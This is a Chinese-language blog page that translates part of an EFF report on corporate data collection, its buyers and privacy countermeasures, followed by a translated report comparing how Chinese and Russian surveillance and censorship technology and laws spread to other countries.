在实时出价领域，这些服务被称为 “数据管理平台”。实时竞价者可以利用这类服务来了解某个用户是谁，他们的兴趣是什么，只需根据竞价请求中包含的ID即可。

数据使用者

「图」

到目前为止，本文已经讨论了如何收集，共享和出售数据。但是，最终结果在哪里？谁是个人数据的使用者，他们将如何处理？

1、定向广告

「图」

到目前为止，最大、最明显、最无处不在的数据使用者是定向广告商。定向广告允许广告商根据人口统计学、心理学和其他特征来接触用户。行为广告是定向广告的一个子集，利用用户过去的行为数据来进行个性化的广告。

最大的数据收集者也是最大的定向广告商。谷歌和 Facebook 共同控制了美国近60%的数字广告市场，他们利用各自的数据库来实现这一目标。

谷歌、Facebook、亚马逊和 Twitter 提供点到点的定向服务，广告商可以针对高级别的用户进行定向，而广告商本身不需要获取任何数据。

Facebook 让广告商根据位置、年龄、性别、教育和收入等人口统计学数据；以及爱好、音乐类型、名人和政治倾向等兴趣数据来定位用户。

Facebook 使用的“兴趣”有些是基于用户“点赞”或评论的内容，有些则是基于 Facebook 的第三方追踪而得出的。虽然 Facebook 利用其数据为广告商匹配目标受众，但 Facebook 并不与这些广告商分享其数据。

实时出价（RTB）涉及到更多的数据共享，有大量的小公司参与到这个过程的不同层面。大的科技公司也在这个领域提供服务。谷歌的 Doubleclick Bid Manager 和亚马逊DSP都是RTB需求方平台。

在实时出价中，身份标识是共享的，这样广告主自己（或他们的代理商）就可以决定是否要接触到每个人，以及他们要展示什么广告。

在RTB生态系统中，广告商收集自己的用户行为数据，他们可能会使用内部的机器学习模型来预测哪些用户最有可能参与他们的广告或购买他们的产品。

一些广告商想在 Facebook 或谷歌上接触用户，但又不想使用大公司

的专有定向技术。相反，他们可以从数据经纪人那里购买联系人信息列表，然后将这些列表直接上传到 Facebook 或谷歌，后者将在其所有平台上接触这些用户。

这个系统破坏了大公司控制歧视性或其他恶意目标的努力。谷歌和 Facebook 等定向平台不允许广告商针对特定种族的用户发布工作、住房或信贷广告。

但是，广告商可以从数据经纪人那里购买个人的人口统计信息，上传一份恰好来自同一种族群体的名单，让平台直接针对这些人。谷歌和 Facebook 都禁止使用“敏感信息”来锁定联系人名单上的人，但目前还不清楚他们如何执行这些政策。

2、政治运动和利益集团

「图」

公司并不是唯一试图从数据收集和定向广告中获益的实体。剑桥分析公司就是个最著名的例子，它们使用不正当得来的个人数据以估计数百万潜在选民的“心理特征”，然后使用这些数据来操纵政治。

- 剑桥分析公司并非唯一，并且这种操纵已经很有历史，见《国王们的晚宴—— 这是一场看不见的政变》

2018年，CatholicVote 组织利用手机位置数据确定谁曾进入过天主教堂，然后针对他们发布竞选广告。反堕胎组织使用类似的地理围栏技术，在妇女去堕胎诊所时向她们定向投放广告。

- 关于地理围栏监视，见《警察如何利用抗议者的手机追踪每个人》

而这些事件并非孤立。一些依靠捐款的非营利组织购买数据，帮助缩小潜在捐助者的范围。许多政客都利用公开的选民登记数据来锁定选民。据报道，民主党全国委员会正在2020年大选前大力投资其“数据仓库”。而共和党的咨询公司 Deep Root Analytics 是美国史上最大的选民数据泄露事件的源头，该公司一直在收集近2亿美国人的姓名、登记细节以及“模型化”的种族和宗教数据。

- 《数字专制与民主范式之战》

3、讨债者、赏金猎人和欺诈调查员

「图」

讨债者、赏金猎人和调查机构都从一些来源购买和使用位置数据。EFF正在起诉 AT&T，因为它将位置数据出售给聚合商，使赏金猎人能够进入二级市场。

然而，手机运营商并不是该数据的唯一来源。保释金公司 Captira 将从手机和车牌阅读器收集的位置数据出售给赏金猎人，价格仅为7.5美元。

而数以千计的应用程序利用GPS权限收集位置数据，然后将这些数据卖给下游的聚合商。这些数据可以用来定位任何人。而且正如调查所显示的那样，它也可以被几乎任何人购买和滥用。

4、城市、警察部门和间谍机构

「图」

公共部门也从私营部门购买数据，用于各种用途。例如，美国移民和海关执法局从 Vigilant 公司购买了ALPR数据，以帮助定位该机构驱逐移民。

加利福尼亚城市联盟（League of California Cities）在一封信中称，政府机构与数据经纪人签订合同，以完成无数任务，从确定人类服务的资格到收税，寻求该州消费者数据隐私法对政府机构和数据经纪人之间合同的例外。

长期以来，倡导者一直谴责政府机构和私人数据经纪人之间的这些安排，谴责其是对消费者数据隐私的威胁，也是对政府自身数据库法律限制的终结。

当然，所谓的国家安全监控往往是建立在对私营公司的消费者数据库进行数据挖掘的基础上。例如，作为爱德华·斯诺登披露的 **PRISM**（棱镜）计划的一部分，**NSA** 直接从谷歌、**YouTube**、**Facebook** 和雅虎收集个人数据。

- 在这看到斯诺登披露的完整分析《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》
- 关于这些数据都被如何使用了，见《他们是如何抓捕说真话的人？灾难和教训》

第4部分：反击

「图」

不幸的现实是，跟踪是难以避免的。数千名独立的监视者使用数百种不同的技术，企业监控是广泛的，而且资金充足。虽然没有任何一键式的东西可以阻止每一种追踪方法，但您仍然可以做很多事来夺回您的隐私。

每个人都应该自己决定愿意为保护自己的人权和安全付出多少努力。小的改变就可以明显减少追踪者可以收集和分享的数据量，比如在浏览器中安装 Privacy Badger，以及更改手机上的设置。

更大的改变，比如卸载第三方应用和使用 Tor，可以提供更强的隐私保证。对于那些有严重顾虑的用户来说，更强的措施可能是值得的。

📌 您可以在我们的 列表-1 “技术防身” 栏目中看到具体的防身技巧介绍；如果您是组织者和行动者，可以参考 列表-5 中的 “护盾” 栏目。

请记住，这一切都不是你的错。隐私不应该是个人责任的问题。这不是您的工作，您不应该去读那些25万字的隐私政策中莫名其妙的法律术语才能了解您的手机如何共享数据。隐私应该是一种基本人权，而不是受过良好教育和有闲暇时间的人的特权。每个人都应该生活在一个尊重自己隐私的世界里，无论是在线还是离线。

在手机上

「图」

阻止移动设备上的跟踪器是比较复杂的。没有一种解决方案，比如浏览器或扩展，可以覆盖很多基础。而且不幸的是，在某些设备上根本无法控制某些种类的跟踪。

抵御追踪的第一道防线是您的设备设置。

- 在这里看到详细内容《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识》

iOS 和 Android 都可以让用户查看和控制每个应用所拥有的权限。您应该检查所有应用所拥有的权限，并删除不需要的权限。

您可以简单地删除您不使用的应用程序。除了每个应用程序的设置外，您还可以更改全局设置，这些设置会影响您的设备如何收集和共享特别敏感的信息，如位置。您还可以控制应用程序在不使用时如何允许其访问互联网，这可以防止被动跟踪。

这两种操作系统可以选择以不同的方式重置设备的广告ID。在iOS系统中，可以通过将广告ID设置为一串零来完全删除它。在Android上，您可以手动重置它。这相当于清除 cookie，但不会阻止新的cookie：它不会完全禁用跟踪，但会使跟踪者更难建立关于您的统一档案。

安卓系统还有一个 “退出基于兴趣的广告” 的设置。这向应用程序发出了一个信号，即 用户不希望自己的数据被用于定向广告，但实际上并没有通过广告ID来阻止应用程序这样做。事实上，最近的研究发现，数以万计的应用根本无视这个信号。

在iOS上，有少数应用可以过滤其他应用的追踪活动,在 Android 上就没那么容易了。谷歌在其应用商店 Play Store 中禁止广告和追踪器拦截器，所以它没有官方审核的这类应用。可以从 Play Store 之外 “侧载” 拦截器，但这可能非常危险。确保你只安装来自你信任的发行商的应用，最好是开源的。

您还应该考虑您的设备正在与之通信的网络。最好避免连接到不熟悉的公共WiFi网络。

无线信标也在试图收集您的设备的信息。只有当您的设备正在广播其硬件MAC地址时，它们才能收集识别信息。现在 iOS 和 Android 都会默认随机化这些MAC地址，但其他种类的设备可能不会。

您的电子阅读器、智能手表或汽车都会广播探针请求，追踪者可以利用这些请求来获取位置数据。为了防止这种情况发生，您通常可以关闭WiFi和蓝牙，或者将设备设置为 “飞机模式”。这也是一个省电的好方法。

最后，如果您的确需要匿名，使用一次性手机可以帮助您控制与固有硬件标识符相关的跟踪。在下面看到具体介绍：

- 《买不起/买不到一次性手机怎么办？这里是您在参加敏感行动之前需要了解的事》
- 关于匿名决策的标准手册，见《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》

现实中

「图」

首先您应该了解，如今在现实中您已经基本无法离线了。没有选择“退出”的按钮。

如上所述，有许多方法可以修改您的设备工作方式，以防止它们对您不利。但是，要避免人脸识别摄像头和自动车牌阅读器的追踪几乎是不可能的。

当然，我们介绍过一些混淆人脸识别算法的思考方式，您也可以选择不买车来远离ALPR监视数据库，您可以使用现金或虚拟信用卡来阻止支付处理器对您进行追踪描述。

- 《3种最佳虚拟借记卡服务：支付中隐藏真实身份》
- 《5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息》

但期待完全摆脱监视在当前世界是不现实的，所以非常建议您将工作和生活分层处理，每一层根据其不同的敏感等级采取不同的和恰当的保护性措施。

📌 我们在“难以被追踪”系列中介绍过很多方法，基本能帮助您做到在大多数情况下保护安全，在下面看到汇总：

- 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》
- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》
- 《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 《到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8）》
- 《8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9）》

对于中国用户来说，除了上述之外，您也许还值得关注我们正在进行的新系列“如何在敌对环境中保护自己”，尤其是，如果您预期自己有可能遭遇传唤甚至逮捕的话。〇

在这里下载这份手册的原文：https://www.eff.org/files/2019/12/11/behind_the_one-way_mirror-a_deep_dive_into_the_technology_of_corporate_surveillance_0.pdf

原文

LR 毒霾 - 监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别 - iyouport

你应该了解的现实

【2019年12月19日存档】已有100多个国家购买、模仿或接受了来自中国和俄罗斯的信息控制培训 —— 请注意本报告中穿插的所有文章链接，每一个都很有用

摘要

「图」

中国和俄罗斯信息控制的科技和技术在全球扩散已经成为主要国际报纸的显著标题。

然而，对这种扩散的驱动力以及结果却很少有系统性的分析。

本报告针对这一主题的研究发现，俄罗斯和中国的信息控制正在更有效地扩散至非常多的国家 —— 尤其是那些与中俄有关系的国家。

中国的信息控制较易于扩散到其“一带一 路”沿线的国家；俄罗斯之控制散布于独联体各国。

在研究得出此一结论过程中，本报告将首先定义出俄罗斯和中国的信息控制模式，然后追踪这两国的信息控制在其各自的「科技圈」(technosphere) 所及共 110 个国家中的扩散 —— 这指的既是地理区域，也是中国与俄罗斯信息控制科技、信息处理技术以及法律扩散所及的影响范围。

前言

「图」

北京和莫斯科的审查监控技术 (例如，出口审查设备、监视城市等)、

和技术(例如 由其他国家模仿的中／俄监视法律)，已走向全球，其影响既能扩及到加勒比地区仅有 8 万或 10 万居民的小岛国家，如安提瓜和巴布达，也能到达人口超过 10 亿的南亚国家（如 印度）。

来自巴哈马、莱索托和秘鲁的记者参加了在北京的宣传培训，中国的监视装备已经用在巴西东部的军事指挥部，以及约旦的议会大厦。

- 《老大哥的联盟》

俄罗斯的监视设备部署在其邻国，如白俄罗斯、哈萨克斯坦、和乌克兰，也部署在遥远的阿尔及利亚、古巴、墨西哥、和巴勒斯坦。

研究此类重大扩散之时，很重要的一点就是了解：

- 为什么是俄罗斯的监视审查、而非中国的监视审查，能在一些国家扩散，而非别的国家？
- 是什么促使这种控制能在不同地区扩散？
- 如果在一个国家中扩散的是某一套监视审查技术，而非另一套，它们之间的差别是什么？
- 这种监视审查的国际繁衍如何使这两国受益匪浅？

俄罗斯与中国信息控制的扩散

为了回答上述问题，本报告首先建立了*信息控制类型学*。

第二节则引用信息控制类型，检视俄罗斯和中国信息控制的做法。

第三节揭示如何测量扩散，第四节说明扩散的原因。

第五节追踪和分析中国与俄罗斯的此类监视审查科技，包括技术与法律的模仿以及培训，在国际上如何扩散。

第六节明确指出中国和俄罗斯因监控审查技术出口而获得的政治、经济和情报优势，以及这种扩散对进口国的影响。

1、信息控制类型学

「图」

对信息控制的定义，学者间意见殊异。

一些学者指出，信息控制的概念为“在网络空间内且通过网络空间进

行的行动，以寻求阻绝、中断、操纵和塑造信息和通信，达到战略和政治目的。”

另外一些学者将信息控制分类为恐惧(即，自我审查)、摩擦 (类似审查)、和泛滥 (近似战络信息散发)。

有别于这些学说，本文认定信息控制的核心概念为“监视”(surveillance)，并分析如何借助监视影响管理信息的其他形式。

信息控制可以有不同形式：包括监视、审查 (censorship)、自我审查 (self-censorship)、和战略信息散发 (strategic information dissemination)。

当虑及一个国家使用各种各样信息控制形式的程度，并评估其控制信息的选项(工具)数量，即可呈现形形色色的信息控制模式。

—— 监视 (surveillance)

「图」

要对信息控制有全盘概念，监视至关紧要。

⚠有了监视，才可以进而做到审查、自我审查、和战略信息散发。

没有监视就没有威吓，而政府也不知道要阻绝哪些网站，当局也无从知晓哪些网络对话需要接受所谓的 “政治指导”。

⚠监视可被观察出来，也可能没被观察到。

当一般民众查觉有监视时，就会引起自我审查。

很明显的，只需展现出有监视、可以不必实际进行监视，就能获得监视之效果。

一个政府完全可能安装假的监视相机，就足以吓到市民。

⚠即使监视不被民众查觉，它仍然产生影响。当监视未被察觉时，依旧可以用来阻挡特定内容 —— 审查，或指向特定目标 —— 散发战略信息。

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》

- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

如果对监视略过不提，探讨信息控制的任何理论都不完整。

⚠过分关注内容和网上发生的事 (如 关键词过滤)，就会导致无视于科技对网络外世界的重大影响 (如 以监视摄像机进行实体监控)。

近年来，网络世界(在线)已与实体世界(离线)合而为一。数码 1 与 0、位和字节定义了所有日常事物。

- 《深陷 matrix》

在一个世界中，当闭路电视摄像头、智能城市、和其他网络暨实体系统无所不在时，信息控制就越来越成为实体控制。

网络安全专家 Bruce Schneier 言简意赅的指出：“互联网不再是我们连上的网络。相反，这是一个计算器化、网络化、互联化的世界，而我们身处其中。这就是未来，我们称之为物联网。”

汽车现在是各种计算器的一个组合，再配上铁皮与轮胎，而日常的小工具现已附加了各种监视工具包。

- 更多《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》
- 《以色列创业公司筹集了1250万美元，让政府可以破解物联网》
- 《你家冰箱如何作为呈堂证供？》
- 《地主2.0：科技的新食利资本主义》
- 《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》

- 《“公民需要组织起来以摆脱中美高堡奇人的世界”》

举例而言，中国的汽车制造商把电动车的实时位置和其他信息传输给政府。在今日中国，电动汽车可以是监视的工具，而这些车变为实体控制工具只是时间上的问题。

- 详见《中国：政府监视公民一举一动，公民无动于衷》

因为网络世界和脱机世界已经如此紧密融合，一个人在网上所说、所

写、所听的内容，与他每日的“做为”紧密交织而不可分，即使这些刚刚做的事原本可以当成跟网络没有关系。

—— 自我审查 (self-censorship)

「图」

“自我审查”起自于担忧法律和法外(威吓)的处罚，以及恐惧将来会出现对个人／实体单位的监视（例如，被当局当成“不从众者”(non-conformist)）。

嗯，不从众已经变成一种“罪”。

- 《为什么说自我审查不是简单的恐惧而是更大问题的冰山一角？》
- 《被监视噤声的作家：大数据时代的自我审查》

虽然恐惧感可能是推动自我审查的主要因素之一，但并非每一次自我审查的行为都伴有恐惧感。

⚠当一个人面对着可能有潜在敌意的说话对象时，有很多原因会使这个

人保留自己的意见，比如可能是想避免口角之争，或担心冒犯了别人或伤了别人的心，或担心受到报复，如丢掉工作、或有被打的危险，或担心被当成异类。

⚠这就是为什么在互联网上中文群组中几乎看不到有效的对话，原因之一 —— 任何中文群组，包括匿名群组。另一个原因则是，社会长期缺乏民主辩论实践以及社区协作的经验。

有鉴于此，本文仅定义“自我审查”为：“以为听我说话的对方会跟自

己的真实意见相左时，就保留自己的意见。”

⚠一个政府手中可任意运用的监视工具越多，就越容易驱使民众走向自我约束。

—— 审查 (censorship)

「图」

审查是一种“他人压制某种观点的传播，当这种观点被这些他人视为有敌意或具有挑战意图”，而审查可经由不同方式进行，⚠有时是很细微的做法，如使取得信息的成本提高了，或把某些网络服务降速(如 Tor)，或把不妥的政治内容在搜索引擎中降序。

审查也可能是大规模的、无差别的做法，如关闭某些社交媒体平台、手机服务、或中断网络联机。

- 《“纽约时报”承认，在稿件发布之前它会主动接受政府的审查》
- 《媒体巨头和硅谷的武器化算法沉默异议》
- 《你如何证明你是好人？强行监控社交媒体的含义》
- 《电影电视究竟是什么？为什么稍有权势的人都想要审查控制文艺创作？》
- 《守门人作为认知杀手》
- 《在中国：内容创业者的背面》
- 《为什么说自我审查不是简单的恐惧而是更大问题的冰山一角？》
- 《大部分审查并非如你平日的吐槽对象那般显而易见—— 为自由而战（二）》
- 《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》
- ……更多《审查和自我审查》

依监视能力的不同，审查可以变化多样。⚠更多元化的监视能力代表有更多选项可以用来执行审查。

一个不太高明的政府想限制信息，可能只有采用网络封锁。

相较之下，手段复杂的政府可能会选择把关键内容降级，让信息难以取得。

—— 战略信息散发 (strategic information dissemination)

战略信息散发意谓着政府在战略层面，利用“宣传”和“虚假信息”，操纵公众舆论。

此处“宣传”一词指“公开散发信息，以影响他人的想法和／或其行动”，而“虚

假信息”(disinformation) 通常的理解是“基于恶毒意图，蓄意散播的错误信息”。

- 《独家：北京的政治宣传模式发生改变，或正对冲中国异议的弱点》
- 《巨魔崛起：政府资助的网络水军正遍布全球》

就本报告的讨论范围，虚假信息的例子之一就是，俄罗斯假造“新闻”称：艾滋病是美国政府实验的结果，并大肆传播。

而宣传的一个例子就是中国政府运用“微博”账号，通常这些账号是用来分享照片、影片、与文字的。一个受欢迎的微博平台是新浪微博 (Sina Weibo)。战略信息散布跟审查一样，可以依传播者的监视能力而有变化。

⚠一个国家对其人民知道的越多，操纵人民的选项就越多。

使用程度 ——

「图」

形形色色信息控制的使用程度经常取决于许多具体情境因素。

各国在某种程度上都受限于能掌握的工具。

例如，比起中国，俄罗斯想实施严格网上审查制度的选项就相对较少，因为其互联网科技的监控基础设施较不完备。

因此，俄罗斯主要是借助威吓人民 (例如 监禁反对派候选人)，以及透过宣传与虚假消息散发来操纵人民。

俄罗斯仰赖这些技术，可能是因为这些做法不需要太复杂的科技。

—— 选项 ——

「图」

一个国家的监视能力，界定了统治当局进行信息控制时可有的选项数目。

例如，使用间谍软件渗透手机的某一国家可能借此读取某些信息，用以恐吓反对派人士。

- 《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》
- 《独立记者在昂贵的铡刀之下》
- 《大型网络钓鱼攻击活动专门针对注重隐私的用户，成功绕过双因素身份验证》

然而，一个国家如果没有深度包检测工具(用来网络过滤与监视)，即无

法取得其他信息，因此就限制了这个国家锁定其目标异议人士的能力。

⚠更高的监视能力并不一定能转成更有效的信息控制，但当局如果拥有复杂的监控技术，即能有多样的工具箱，以选择执行信息控制。

因此，将监视纳入信息控制类型，可对不同国家的信息控制做出更扎实的比较。

例如，中国拥有比俄罗斯更高的监视能力，因此有更多选项来实施信息控制，这将在下一节深入讨论。

因此，⚠监视工具的数量和多样性是理解中国和俄罗斯信息控制模式各自特色的一个主要因素。

监视、自我审查、审查、和战略信息散发，共同构成了信息控制的机制与形式。

一个国家依赖每种机制的强度，结合它实施每种机制的选项数目，界定了该国的信息控制模式。

下节将介绍，俄罗斯仰赖遍布式的监视、自我审查、和战略信息散发，以维系国内稳定，而中国以广泛的监视为基础，大规模使用审查和战略信息散发。

中国与俄罗斯两种模式有重迭之处。中国在某种程度上与俄罗斯一样，以法律规定网络平台实名制，以及把 VPN 拥有者关进监狱，进

而驱使自我审查。

- 《有多少国家禁止或限制使用 VPN？—— 全球互联网审查分布图：VPN 在你的国家合法吗？》

俄罗斯也与中国一样，制定禁用网站黑名单，实施审查制度。

2. 中国与俄罗斯信息控制模型

「图」

在比较俄罗斯和中国的信息控制模式时，一种有效的方式就是检视他们依赖各种机制到何种程度，以及各自能支配哪些工具，以实施控制。

俄罗斯的做法 ——

「图」

—— 监视

俄罗斯 1995 年的“行动调查法”(Law on Operational Investigation)为实现广泛的监视框架建立了法源，该法允许“俄罗斯联邦安全局”(Federal Security Service of the Russian Federation，FSB) 实施网络监控“行动调查活动系统”(System for Operative Investigative Activities)，简称为 SORM。

- 《普京的秘密服务：克里姆林宫如何控制 FSB—— 俄罗斯情报机构联邦安全局》

SORM-1 专门用在拦截电话与手机通话。为因应互联网普及率的飙升，就成立了 SORM-2，监视互联网流量。

之后，SORM-3 提升与增加了当时监视系统的功能，如监看社交媒体和 Wi-Fi。

—— 自我审查

在 2000 年早期，新的“俄罗斯联邦的信息安全准则” (Information Security

Doctrine of the Russian Federation) 出台，将信息安全界定为国家安

全事务。

随后，多项限制跟进，如 2014 年的“博客法” (blogger’s law)与“反加密法”(antiencryption law)，及 2016 年的一项立法，规定数据存储需本地化存于俄罗斯境内。

这些法律足以展示俄罗斯对其人民遍布式的监视，并促使自我审查。

同时，俄罗斯当局威吓艺术家、新闻记者、科技主管、和反对派代表人士。反对派的 Boris Nemtsov 被杀，政治行动者 Alexei Navalny 多次入狱，而 VK 电报信使 (VK and Telegram Messenger) 的创办人 Pavel Durov 在政府持续高压下，只得流亡。

更微细的恐吓措施也产生了深远的影响。

俄罗斯国家主导的全国性的公示，不断强调互联网的危险，经研究发现，这也导致自我审查增高。

—— 战略信息散发

在俄罗斯，宣传与虚假信息的重点是发送有利于政权的信息。

学者 Gallagher 与 Fredheim 指出，“互联网研究机构”(Internet Research Agency) 是个俄罗斯编造厂，对国内，就是统一言论口径，在国外，就是制造分裂话语。

从 Twitter 上发给国内民众的消息就是强调应该支持俄罗斯介入乌克兰和叙利亚，并夸大西方阵营的分歧。

俄罗斯编造厂散发讯息时，有时也会走官方媒体频道，如 Channel

One、Russia One、NTV、Komsomolskaya Pravda、与 Izvestia。这些动作有助于扩大克里姆林宫战略信息的散发范围。

“互联网研究机构”付费的博主，和另一个宣传组织 Nashi 青年运动的付费博主，主要是由秘密雇用的民众组成。其中有些人全职工作，以 12 小时为一班上班。

—— 审查制度

俄罗斯政府一直都较不重视审查制度。跟中国不同的是，俄罗斯一直未能建立可以替代外国媒体平台的本国平台。

而俄罗斯的科技公司，包括本国人经营的 app 应用程序商店、搜索引擎、或社交媒体平台等，都未能有足够的国内市占率，可以排除或取代外国竞争者。

此外，俄罗斯的网络过滤采用了一个全国性阻挡清单(blocklist)，并使用深度包检测工具等其他先进技术，维持高度监视。

但是，俄罗斯过滤的遍布程度不如中国。

例如，Alexei Navalny 经常抨击政府，但他的 YouTube 频道仍在营运。

最近，俄罗斯进一步严打网络环境，试图封锁 Telegram Messenger，但是政府封锁方法太粗糙，导致俄罗斯大片互联网停摆。

所以，Telegram Messenger 仍然在应用程序商店可以取得，政府如果想封锁，技术设备远远不足。

- 《为什么是俄罗斯封锁 Telegram 引发连日刷屏而不是中国的大面积封锁和监控？》

这显示俄罗斯在封锁技术与手段上不如中国复杂，中国实施的审查更为滴水不漏、隐蔽无踪。

俄罗斯在 2017 年还通过了一项法律修正案，限制 VPN 的使用。

但是即便有了这些新法规，仍有一大堆翻墙 apps 在 Apple App Store 和 Google Play Store 可以获得。

- 《继续作恶：谷歌禁止 VPN 广告帮助中国规避审查制度》
- 《GreatFire 新项目曝光苹果在中国实施的审查》

中国的做法 ——

「图」

—— 监视

与俄罗斯相比，中国在监视民众时，有更多的选项，因为监视装置已经遍布现今的中国社会每一个角落。

举例而言，在新疆，当地人受到无所不在的监看，监视系统结合了侵

入式应用程序、面部识别摄像头、和其他技术。

监视设备已经布建全面、深入社会。这在中国的教育体系内也处处可见，学生在教室上课，由教室中的面部识别系统监看；学生到哪里都可透过手环追踪，上面记录他们的地理位置。

- 在美国在此也是如此，见《监狱式教学》

虽然这类监看是由学校执行的，但这是政府的“智能教育”计划所支持布建的。

政府也有各种方案，鼓励监视大军中的民间参与者（朝阳群众）推动民众进行自我审查，这些民间参与者就在政府的监视努力中扮演了补强的角色。

- 《中国：为什么要重启笨拙低效的斯塔西式群众斗群众？》

研究发现，经常暴露于监视中，会促使广泛的自我审查。中国已经有如此广泛的监视系统，完全可以预期会出现类似的效应。

- 《中国的互联网维稳产业：谁将成为唯一的失败者？》
- 《持续的监控如何损伤了你的大脑？》

—— 审查

在中国，最明显的审查事例就是其防火墙 (Great Firewall)，它禁止中国人使用 Google、Facebook、与 Twitter等服务。

在中国境内，政府内部和私营公司有数以千计的审查员，在大流量信息中筛选出新的关键词设定禁用。

其中大部分的审查仍然是人工操作，但有一部分筛选工作已经是自动化过滤，如使用已知关键词阻挡 (known-keyword blocking)。

学者 Ray Bradbury 在《华氏 451》(Fahrenheit 451)一书中提出的大哉问又可再次提出，“在你烧掉的所有书中，你曾经读过其中任何一本吗？”

换言之，审查员真的读了他们审查掉的内容吗？

在未来，他们可能连读都不必了，因为大部分过滤都可由人工智能自动化处理。

最近，中国甚至对那些试图连接外国网站的精英与热衷科技的公民加大审查。

还有一些法规出台，使政府不批准的 VPN 在 app 商店被下架，导致在中国 Apple App Store 与腾讯 App Store 这两个主要应用程序商店可以取得的 VPN 极其有限。

—— 战略信息散发

中国与俄罗斯一样，战略信息散发的重要角色之一就是为政府策略性的把敏感政治议题转移焦点。

在中国，这种操作的目的是不加入争议性的话题，而是把争议的焦点从争议移转到亲政府的贴文。

早在 2004 年，中国当局就已经雇佣大批人力用来摇摆网络上的民意。他们认知到，只做到决定哪些信息可以提供是不够的，形塑仍留在网络上的信息同样重要。

为此，当局聘用了数以千计的互联网评论员，专门做贴文，俗称为五毛党。据估计，网络上这样的佣兵现在高达 200 万名，每年制造约 4.5 亿个贴文。

- 《巨魔崛起：政府资助的网络水军正遍布全球》

俄罗斯和中国的战略信息散发做法有雷同之处，两者都贴发亲政府简讯，转移争议性话题的讨论焦点，也不加入政治议题的实质性讨论。

- 我们曾经对比过的俄罗斯和中国之区别，见《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》

五毛党似乎主要由政府员工组成，工作之余做贴文，另外还有志愿者加入，例如共产党的青年党员，他们组成“网络文明志愿行动”，无薪转发爱国内容。

—— 自我审查

中国在毛泽东时代，以恐吓逼使自我审查是一种非常普遍的做法。之后，这种做法转为以审查和战略信息散发为主的信息控制方式。

目前，政府针对精英阶层培养自我审查，而用审查和战略信息散发对付一般民众(这种策略控制普通民众最为有效)。

诱使自我审查措施的一个例子是逮捕提供 VPN 服务的人(作为对其他 VPN 供货商的警告)，或者强制规定社交媒体上有影响力者必须实名登记。

除此之外，为鼓励自我审查，中国的互联网法律往往故意规范模糊，在该罚与不罚间制造模棱两可的空间。中国与俄罗斯信息控制模式。

3. 研究方法：测量扩散

「图」

针对中国与俄罗斯信息控制科技与技术的扩散，本报告的研究方法是开源追踪法，分析从公司报告、技术网络测量、报纸或期刊文章、以及政府法规中收集的数据资料。

本研究以三个指标来衡量扩散：科技、模仿、与培训。

用这三个指标的目的是衡量中国与俄罗斯对其他国家运用的战术分布所及的广度和深度。

广度指的是有多少国家暴露在至少一个指标之下。

深度指的是单一国家采用了几个指标。

如果一个国家采用了一项扩散指标，就定位在“科技圈”的外缘。

如果一个国家被标上最多指标 (俄罗斯的两个指标，中国的三个指标)，则在这一国的扩散就被视为深广，该国就落在“科技圈”的中心。

指标 1：科技

「图」

扩散的第一个指标是科技。

就本文的研究目的，这里的焦点放在中国与俄罗斯的监视和审查科技出口到海外实体，这些外国实体可控制大量的人口或公共建筑，可以假设是由警察或其他政府主管单位经营。

此类科技的实例包括安装在监狱、港口、城市、火车站、机场中的摄像机，以及由海外互联网服务供货商部署的过滤设备。

此一指标尚不包括监视系统出口给非警察或非政府单位的情况，如海康威视出口给日本一间公立大学的闭路电视监控设备。

- 大型图文报告《图解中国科技巨头—半壁“高堡奇人”》

除了阅览公司声明和媒体报导进行追踪监视出口项目外，还有透过网络测量，辨识出一组特定的监视中间盒。

我们使用 OONI Explorer 和 Censys，来寻找有“V2R2C00-IAE/1.0”指纹的华为中间盒。

这个指纹或标头出现在华为的 **eSight** 产品，这个对象能够分析网络流量以及发现 **IpSec VPN** 服务—这就可以用来监控和审查流量。

在检视了 OONI Explorer 和 Censys 的数据后，显示出华为中间盒已经用在哥伦比亚、古巴、意大利、墨西哥、尼日利亚、巴基斯坦、西班牙和土耳其。

指标 2：模仿

「图」

就本文的研究目的，模仿的定义为：另一个国家复制中国或俄罗斯的信息控制法律和技术。

例子之一是乌兹别克斯坦仿效俄罗斯的国家监视法；而坦桑尼亚和津巴布韦政府官员宣布，他们打算模仿中国用本土的内容提供商取代外国网络内容提供商，以强化控制。

本文收集的数据显示，⚠如果没有同时配合科技和培训的扩散，模仿几乎不会单独发生，但科技和培训扩散指标可以单独存在。

因此，模仿显示为深度扩散。很显然，所有模仿俄罗斯或中国的国家即处于其各自“科技圈”的核心。

指标 3：培训

「图」

此一指标包含两类培训：

- 一、对执法人员、政府官员、以及私营公司(经常为政府实施信

息控制的公司)的培训，

- 二、对新闻记者的培训。

对第一类对象，就是教他们如何扩大搜取有关民众的信息 (数字取证、安全城市项目)，或如何更有效地实施审查。

所有所谓的智能城市的落实或销售深度封包检测技术都几乎一定配有相

关技术操作培训。

- 《“智能城市”是什么东西？当权者如何侵犯你的每一寸空间？》

本文仅纳入有书面文件明文提到向特定国家提供培训的案例。

